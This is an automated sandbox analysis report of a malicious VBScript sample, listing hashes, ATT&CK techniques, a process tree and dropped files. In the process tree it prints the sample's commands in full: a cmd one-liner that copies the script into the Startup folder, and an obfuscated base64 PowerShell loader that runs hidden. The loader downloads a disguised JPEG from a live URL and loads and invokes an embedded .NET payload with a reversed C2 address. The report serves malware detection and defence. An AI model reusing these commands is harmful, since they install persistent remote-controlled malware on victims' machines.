fc01f8b38c8c039e8c8f64207230eaaaa1064bf6588937ff9b9fb46ea3010c2b

Analysis

max time kernel
148s
max time network
23s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 10:31

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General

Target
jaffacakes118_fc01f8b38c8c039e8c8f64207230eaaaa1064bf6588937ff9b9fb46ea3010c2b.vbs
Size 308KB
Sample261002-mkmdtagc57
SHA256 fc01f8b38c8c039e8c8f64207230eaaaa1064bf6588937ff9b9fb46ea3010c2b
MD5 b946048da3218ed78bfabe6128e6ab02
SHA1 43a82a67fb5ed99a55439fbe4b00c3a20ce9b02a
SHA512 f1fadb9d957d758be1f26be1115e0f306318b53c4191ffb3b6de5735b2f666c387974f100041e0b3d3725eb1a0f30b5934759b76ad967a05613beff1a71cf4fd
SSDEEP 6144:zwIeeXe3eh4hbpByacEuEA1PDpr0eB6Zg41Mp76SCYKSF5ENnlS9wPaYdNS7wxq5:zwIeeXe3eh4hbpByj7whlLCMD4
TLSH
T1AD64EE2122EA90487173BFD35BDC79E95F5BF7B62A3A286E201843078763D58CE19731
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution persistence privilege_escalation

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855
exe.dropper
https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2152	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2852	powershell.exe
3356	powershell.exe
2152	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ KKx.vbs	powershell.exe

Enumerates connected drives 3 TTPs 3 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
2400	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
600	cmd.exe
1504	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
600	cmd.exe
3216	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3216	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2852	powershell.exe
2852	powershell.exe
3356	powershell.exe
3356	powershell.exe
2152	powershell.exe
2152	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeDebugPrivilege	2152	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 600	2400	WScript.exe	88
PID 600 wrote to memory of 3216	600	cmd.exe	90
PID 600 wrote to memory of 1504	600	cmd.exe	91
PID 1504 wrote to memory of 2852	1504	cmd.exe	92
PID 2400 wrote to memory of 3356	2400	WScript.exe	93
PID 3356 wrote to memory of 2152	3356	powershell.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_fc01f8b38c8c039e8c8f64207230eaaaa1064bf6588937ff9b9fb46ea3010c2b.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\jaffacakes118_fc01f8b38c8c039e8c8f64207230eaaaa1064bf6588937ff9b9fb46ea3010c2b.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ KKx.vbs')"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:600
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3216
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\jaffacakes118_fc01f8b38c8c039e8c8f64207230eaaaa1064bf6588937ff9b9fb46ea3010c2b.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ KKx.vbs')"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\jaffacakes118_fc01f8b38c8c039e8c8f64207230eaaaa1064bf6588937ff9b9fb46ea3010c2b.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ KKx.vbs')
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 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Chr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgB4Chr(63)&Chr(63)G4Chr(63)&Chr(63)bQChr(63)&Chr(63)vChr(63)&Chr(63)DgChr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)yChr(63)&Chr(63)C4Chr(63)&Chr(63)MQChr(63)&Chr(63)1Chr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)3Chr(63)&Chr(63)C4Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)4Chr(63)&Chr(63)C8Chr(63)&Chr(63)LwChr(63)&Chr(63)6Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)dChr(63)&Chr(63)B0Chr(63)&Chr(63)GgChr(63)&Chr(63)JwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BtChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgB2Chr(63)&Chr(63)G8Chr(63)&Chr(63)awBlChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BuChr(63)&Chr(63)HUChr(63)&Chr(63)bChr(63)&Chr(63)BsChr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CkChr(63)&Chr(63)';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.xnm/842.15.67.08//:ptth');$method.Invoke($null, $arguments)"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 4f17593d9aa7fb7f382ab82bf771c95f8717d52d3e91ba3a6dc26952a776b64d
MD5 1c18aceab5b42b86c4fc9ffc81e52999
SHA1 335c2ee77e5ef7a621443dbf24b88d10a443fb70
SHA512 39366b3e7d545de79bd4a4b36bd252a66d3de77e7a3d3115bd6eb9ed1f7c6726c4d64edba418de3fc37cb5bbcd36bdc017b6b9623fee66ffa39ea9f027603bd3
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

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__PSScriptPolicyTest_lgtvjrab.fjr.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lgtvjrab.fjr.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2852-0-0x00007FFA50ECF000-0x00007FFA50ED0000-memory.dmp

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memory/2852-1-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/2852-2-0x0000026BB9D00000-0x0000026BB9D22000-memory.dmp

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memory/2852-5-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/2852-6-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/2852-7-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/2852-8-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/2852-10-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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